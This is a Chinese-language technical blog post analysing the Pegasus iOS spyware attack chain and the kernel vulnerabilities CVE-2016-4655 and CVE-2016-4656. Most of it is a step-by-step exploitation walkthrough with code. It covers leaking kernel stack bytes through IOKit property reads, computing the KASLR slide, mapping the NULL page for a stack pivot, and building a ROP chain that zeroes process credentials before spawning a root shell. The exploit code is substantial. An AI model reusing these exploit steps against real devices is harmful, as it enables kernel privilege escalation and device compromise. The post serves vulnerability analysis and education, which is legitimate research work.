iOS“远程越狱”间谍软件Pegasus技术分析
關注我的博客,訪問更多內容!
背景:通過研究發(fā)現(xiàn),用戶點擊短信內的鏈接后,攻擊者就會利用3個0day漏洞,對用戶手機“遠程越獄”,然后安裝間諜軟件,隨后就能對設備進行全面控制,還能獲取設備中的數(shù)據(jù),通過麥克風監(jiān)聽對話,跟蹤即時通訊應用的對話內容等。
PEGASUS(三叉戟)攻擊影響的系統(tǒng)范圍非常廣泛,從iOS 7.0以上直至8月8日發(fā)布的9.3.4都受到波及。
攻擊過程:
攻擊共分為三個階段:
第一階段: 傳送并利用WebKit漏洞,通過HTML文件利用WebKit中的CVE-2016-4657漏洞。
第二階段: 越獄。在第一階段中會根據(jù)設備(32/64位)下載相應的,經(jīng)過加密混淆的包。每次下載的包都是用獨一無二的key加密的。軟件包內包含針對iOS內核兩個漏洞(CVE-2016-4655和CVE-2016-4656)的exp還有一個用來下載解密第三階段軟件包的loader。
第三階段: 安裝間諜軟件。經(jīng)過了第二階段的越獄,第三階段中,攻擊者會選擇需要監(jiān)聽的軟件,把hook安裝到應用中。另外,第三階段還會檢查設備之前有沒有通過其他方式越獄過,如果有,則會移除之前越獄后開放的系統(tǒng)訪問權限,如ssh。軟件還有一個“故障保險“,如果檢測到設備滿足某些條件,軟件就會自毀。
第三階段中,間諜會部署一個test222.tar文件,這是一個tar包,包中包含各種實現(xiàn)各種目的的文件,如實現(xiàn)中間人攻擊的根TLS證書、針對Viber、Whatsapp的嗅探庫、專門用于通話錄音的庫等。
漏洞分析:
CVE-2016-4655 –– Kernel Info-Leak
info-leak利用計劃:
?1) 精巧地制作包含一個畸形超出長度大小OSNumber的二進制字典。
?2) 使用序列化字典在內核的用戶客戶端中設置權限。
?3) 重復讀取設置權限(OSNumber),由于長尺寸導致相鄰數(shù)據(jù)泄露。
?4) 使用所讀取的數(shù)據(jù)計算內核偏移地址。
這個漏洞可以讓攻擊者獲取不應該被訪問的信息。在許多案例中,這些信息是內核地址。這可以幫助我們計算這個KASLR(Kernel ASLR) 偏移地址,這個隨機量是每次啟動時隨著內核變化的。我們需要這個偏移地址實施一個代碼重用攻擊,例如ROP。現(xiàn)在看在OSUnserializeBinary的switch語句kOSSerializeNumber case:代碼:
這里存在漏洞,因為沒有檢查OSNumber的長度!使得我們可以創(chuàng)建一個任意字節(jié)數(shù)的數(shù)字。這很容易導致讀取到在OSNmber的長度范圍之后的一些內核中字節(jié)。
CVE-2016-4656 –– Kernel Use-After-Free
利用use-after-free計劃:
?1)制作一個二進制字典引起UAF和用00填充過的OSData緩沖區(qū)重分配已經(jīng)釋放的OSString。
?2)映射一個空頁
?3)在偏移0X20處把棧劫持指針指向空頁(這回轉移執(zhí)行代碼行到轉移鏈上)
?4)在0x0處放一個小轉移鏈指向空頁(它會轉移執(zhí)行代碼到主鏈上)
?5)引發(fā)bug
?6)提權。拿shell
這個情況發(fā)生在當已釋放的內存仍然有引用或被使用時。假象一個對象被釋放,它的內部數(shù)據(jù)被清除,但是程序中的某處那個對象仍然被當作合法使用。這會導致被利用,在被使用之前通過用我們的數(shù)據(jù)重定位已釋放內存。我們會在之后利用。看一下bug所在。代碼:
注意o->release(),釋放了o指針,它在特殊的循環(huán)中指向了OSString反序列化對象。這會被利用,因為所有的反序列化對象被存儲在objsArray數(shù)組里,這段釋放的代碼實際上發(fā)生在setAtIndex宏調用之后。這就意味著剛釋放的OSString實際上在被objsArray引用,并且因為setAtIndex宏不實現(xiàn)任何引用計數(shù)機制,引用存儲不會被刪除。漏洞可以在switch語句中的kOSSerializeObject case中被利用:代碼:
case kOSSerializeObject:if (len >= objsIdx) break;o = objsArray[len];o->retain();isRef = true;break;注意到它被用來創(chuàng)建引用其他對象,隨后對retain是一個十分好的調用,這利用了已釋放的對象。我們可以使字典連續(xù),包含一個OSString鍵值對,然后序列化一個kOSSerializeObject引用,我們這樣做的時候,OSString將被釋放的,實際上是在已釋放的對象調用retain函數(shù)。
漏洞利用攻擊:
Exploiting CVE-2016-4655
使用列舉描述所創(chuàng)建的序列化二進制數(shù)據(jù)。做這個最簡單的方法是定位內存并且寫入偽造值進入到它所使用的指針。代碼:
我們的宏將變得有用,因為這讓我們能寫入到已定位的內存中并且為我們保持每次使用的索引更新。所以利用我們之前所聚合的知識,讓我們繼續(xù)在XML中為字典寫入一個概念。代碼:
<dict><symbol>AAA</symbol><number size=0x200>0x4141414141414141</number> </dict>我們必須在一個服務上調用io_service_open_extended生成用戶客戶端。例如,通過打開IOHDIXController(用于磁盤的東西)服務,會生成一個IOHDIXControllerUserClient對象,然后使用它。代碼:
serv = IOServiceGetMatchingService(master, IOServiceMatching("IOHDIXController")); kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, idx, &err, &conn); if (kr == KERN_SUCCESS) {printf("(+) UC successfully spawned! Leaking bytes...\n"); } elsereturn -1;首先我們通過IOServiceGetMatchingService調用從服務獲取到了一個端口,從IORegistry通過匹配包含它們的名字(IOServiceMatching)的字典過濾掉服務。然后我們通過io_service_open_extended私有調用來開放服務(生成用戶客戶端),這能讓我們直接地指定權限。現(xiàn)在,我們的用戶客戶端隨著權限的指定已經(jīng)被創(chuàng)建。我們需要通過手動地迭代調用IORegistry直到我們發(fā)現(xiàn)它。然后我們會讀取敏感信息,導致info-leak。代碼:
IORegistryEntryCreateIterator(serv, "IOService", kIORegistryIterateRecursively, &iter); io_object_t object = IOIteratorNext(iter);代碼所做的是簡單地創(chuàng)建一個io_iterator_t和在IORegistry設置它為serv。Serv僅僅是代表內核中的驅動對象的一個Mach端口。因為用戶客戶端是被委托給主要的驅動對象,所以我們的用戶客戶端將僅僅在IORegistry中的驅動之后被創(chuàng)建。因此我我們僅僅將迭代器增加一次去獲取代表我們的用戶客戶端的Mach端口。一旦用戶客戶端對象在內核中被創(chuàng)建并且我們在IORegistry發(fā)現(xiàn)了它,我們可以讀取權限引起info-leak。Reading the property代碼:
char buf[0x200] = {0}; mach_msg_type_number_t bufCnt = 0x200; kr = io_registry_entry_get_property_bytes(object, "AAA", (char *)&buf, &bufCnt); if (kr == KERN_SUCCESS) {printf("(+) Done! Calculating KASLR slide...\n"); } elsereturn -1;一旦我們再次使用一個私有調用io_registry_entry_get_property_bytes。這就類似與IORegistryEntryGetProperty,而且讓我們直接地獲取到原始字節(jié)數(shù)據(jù)。所以,在這點上,buf緩沖區(qū)會包含我們已經(jīng)泄露出的數(shù)據(jù)。在這就讓我們把這貼出來吧:代碼:
for (uint32_t k = 0; k < 128; k += 8) {printf("%#llx\n", *(uint64_t *)(buf + k)); }輸出結果:
0x4141414141414141 // our valid number 0xffffff8033c66284 // 0xffffff8035b5d800 // 0x4 // other data on the stack between our valid number and the ret addr... 0xffffff803506d5a0 // 0xffffff8033c662b4 // 0xffffff818d2b3e30 // 0xffffff80037934bf // function return address第一個值,0x4141414141414141,是我們之前定義的。其余的值是從內核棧中泄露出來的。在這點上,檢驗從用戶客戶端讀取權限的內核代碼是很有用的,實際代碼是被定位到is_io_registry_entry_get_property_bytes函數(shù),被io_registry_entry_get_property_bytes被調用。然后讀取一個OSNumber,所以看看OSNumber case:然后,在if-else語句之外:代碼:
if( bytes) {if( *dataCnt < len)ret = kIOReturnIPCError;else {*dataCnt = len;bcopy( bytes, buf, len ); /* j: this leaks data from the stack */} }當bcopy函數(shù)實施了復制,這將持續(xù)保持從bytes指針讀取畸形長度,指針是指向一個棧變量的,于是能夠有效地從棧中獲取泄露數(shù)據(jù)。等一下就會執(zhí)行到存儲在棧中的函數(shù)返回地址處。那個地址能夠在內核二進制數(shù)據(jù)中靜態(tài)地找到,并且它是不變化的。所以,通過減去一個靜態(tài)地址到達另外一個地址,這個地址是我們已經(jīng)從棧中泄露(動態(tài)的)獲取的,我們會包含獲取內核偏移地址!所以,我們必須找到不變的返回地址。打開反匯編程序,加載內核二進制,然后在內核中找到is_io_registry_entry_get_property_bytes函數(shù)。現(xiàn)在我們必須在函數(shù)中發(fā)現(xiàn)Xrefs。代碼:
; XREF=sub_ffffff80003933c0+250 ... ffffff80003934ba call _is_io_registry_entry_get_property_bytes /* the actuall call */ ffffff80003934bf mov dword [ds:r14+0x28], eax /* here's the function return address! */ ...如x86-64 ISA說明,call指令會壓入地址0xffffff80003934bf(返回地址)到棧中。在運行時地址會變動,讓我們回過去和檢驗泄露的字節(jié)數(shù)據(jù)轉儲。代碼:
0x4141414141414141 // our valid number ... 0xffffff80037934bf // function return address現(xiàn)在我們知道0xffffff80037934bf實際上是變動后的0xffffff80003934bf。我們來做一下計算。代碼:0xffffff80037934bf - 0xffffff80003934bf = 0x3400000
這是實際代碼的最后部分:代碼:
通過動態(tài)獲得內核的靜態(tài)地址可以被證實。現(xiàn)在我們有了偏移地址!我們現(xiàn)在可以建造一個ROP功能鏈并且造成了use-after-free去執(zhí)行它獲取root權限。讓我們繼續(xù)吧!
Exploiting CVE-2016-4656
注意PUSH_GADGET宏被用來寫一些值到ROP鏈,有點像WRITE_IN序列化數(shù)據(jù)。小組件宏像ROP_POP_XXX被用來尋找內核二進制的ROP的小組件,同樣find_symbol_address被用來尋找函數(shù)。在插入之前(我們早先找到的偏移地址),組件地址和ROP鏈中的函數(shù)當然偏移地址是變化的。
Crafting the dictionary
過程很像我們之前所做的,但是字典的內容是不同的。在這兒有一個XML轉化:代碼:
明顯地我們在第二個key使用一個OSSymbol,為了避免重分配第一個已經(jīng)釋放的OSString。OSData緩沖區(qū)(00填充過)所會發(fā)生的是重分配OSString的空間,并且當調用retain發(fā)生時(同時OSUnserializeBinary解析引用),內核會讀取從我們的緩沖區(qū)中讀取虛函數(shù)表。指針被定位為緩沖區(qū)首8個字節(jié),并且讀取為0。內核會廢棄指針,然后添加retain偏移地址去讀取存儲在虛函數(shù)表中的父retain指針。retain偏移是0x20(32位),并且這意味著RIP將在0x20處結束。Apple不強迫在32位二進制程序中加固__PAGEZERO段。這就意味著如果我們的是32位編譯的二進制程序(它已經(jīng)是了,因為我們編譯了它可以使用私有的IOKit APIs),即使缺少__PAGEZERO段,內核也可以執(zhí)行二進制程序。這就意味著我們可以簡單地映射空頁和設置我們的棧指針劫持。
Mapping NULL
如之前所說,Apple不強迫在32位二進制程序中增加__PAGEZERO段。通過編譯我們的包括-pagezero_size,0標志的二進制程序為32位,我們可以有效地禁止__PAGEZERO段并且在運行時的映射為空。代碼:
在內核間接引用我們偽造的虛函數(shù)表指針指向NULL+0x20,我們成功地獲得了RIP的控制。然而在運行我們的主要主鏈之前,我們需要劫持棧,也就是獲得RSP控制(或者說棧控制)。有很多方式可以完成這個目的,但是最終的目標是把鏈地址放進RSP。如果我們不設置RSP為鏈地址,接下來的各個組件就不會運行,因為ret指令在第一個鏈組件處就會返回錯誤的堆棧(原來的那個)。當RSP正確地設置了,ret指令就會從ROP棧中讀取我們接下來的組件/函數(shù)地址,并且設置RIP為它。我們用空來間接引用獲取棧控制的方法是使用一個單獨組件來交換RSP和RAX的值。如果RAX的值被控制,就結束了。在本情境下,RAX總是為0(它會保持我們的OSData緩沖區(qū)接下來的8個字節(jié),因此總為0),所以我們可以在0處映射我們一條小轉移鏈,并且在0x20處設置劫持。RIP將會發(fā)生的是被設置為0x20,執(zhí)行組件替換把RSP設置為0,然后返回,棧中彈出的首地址給RIP然后開始執(zhí)行鏈。代碼:
*(volatile uint64_t *)(0x20) = (volatile uint64_t)ROP_XCHG_ESP_EAX(map); // stack pivot準備是轉移代碼,它僅僅讀取了棧中下一個值并把值彈出給RSP(因為我們控制了RSP,所以我們現(xiàn)在可以做到)代碼:
uint64_t *transfer = (uint64_t *)0x0; transfer[0] = ROP_POP_RSP(map); transfer[1] = (uint64_t)chain->chain;現(xiàn)在是真正利用的部分。要能夠執(zhí)行內核代碼,我們必須在內存中找到我們的進程憑證結構并且填充將它為0,來提升我們的權限。通過填充為0,我們提升了我們的進程權限(root組ID全都是0)。我們需要模仿setuid(0),但是我們不能調用它,因為有權限檢查。thread_exception_return會將我們從內核空間踢出來,所以它被用來從內核限制中返回。ROP_RAX_TO_ARG1宏移動RAX寄存器到RDI(下一個函數(shù)調用的第一個參數(shù))中,RAX保存著之前調用所返回的值。代碼:
/* * chain prototype: * proc = current_proc(); * ucred = proc_ucred(proc); * posix_cred = posix_cred_get(ucred); * bzero(posix_cred, (sizeof(int) * 3)); * thread_exception_return(); */ rop_chain_t *chain = calloc(1, sizeof(rop_chain_t)); PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_current_proc")); PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain); PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_proc_ucred")); PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain); PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_posix_cred_get")); PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain); PUSH_GADGET(chain) = ROP_ARG2(chain, map, (sizeof(int) * 3)); PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_bzero")); PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_thread_exception_return"));最終我們可以使用引發(fā)bug,代碼:
host_get_io_master(mach_host_self(), &master); // get iokit master port kr = io_service_get_matching_services_bin(master, (char *)dict, idx, &res); if (kr != KERN_SUCCESS)return;接下來我們將提升我們的權限了。檢查每個步驟是否進行很好,簡單地調用getuid并且看看返回的值為0.如果這樣你的進程現(xiàn)在就有root權限了,所以就調用system("/bin/bash")彈出一個shell!代碼:
if (getuid() == 0) {puts("(+) got r00t!");system("/bin/bash"); }這就是我們的shell,攻擊完成。
總結
以上是生活随笔為你收集整理的iOS“远程越狱”间谍软件Pegasus技术分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: linux之服务管理
- 下一篇: html 播放微信amr音频文件,如何在